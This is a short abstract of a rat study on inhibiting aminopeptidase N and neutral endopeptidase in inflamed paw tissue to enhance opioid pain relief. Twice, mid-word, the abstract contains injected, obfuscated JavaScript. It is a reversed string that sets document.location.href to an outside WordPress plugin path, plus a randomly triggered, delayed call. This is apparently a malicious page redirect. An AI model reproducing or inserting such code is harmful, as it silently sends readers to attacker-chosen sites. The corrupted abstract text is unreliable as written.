Pain inhibition by blocking leukocytic and neuronal opioid peptidases in peripheral inflamed tissue

Inflammatory pain can be controlled by entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dogenous opioid peptides. Here we blocked the degradation of opioids in peripheral injured tissue to locally augment this physiological system. In rats with hindpaw inflammation, inhibitors of aminopeptidase N (APN;bestatin) or neutral entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopeptidase (NEP; thiorphan),and a dual inhibitor, NH2 -CH-Ph-P(O)(OH)CH2 -CHCH2 Ph(p-Ph)-CONH-CH-CH3 -COOH (P8B), were applied to injured paws.

Combined bestatin (1.25–5 mg)/thiorphan (0.2–0.8 mg) or P8B (0.0625–1 mg) alone elevated mechanical nociceptive thresholds to 307 and 227% of vehicle-treated controls, respectively. This analgesia was abolished by antibodies to methionine-enkephalin, leucine-enkephalin, and dynorphin A 1–17, by peripherally restricted and by selective  -,  -, and  -opioid receptor antagonists. Flow cytometry and photospectrometry revealed expression and metabolic activity of APN and NEP on macrophages, granulocytes, and sciatic nerves from inflamed tissue.

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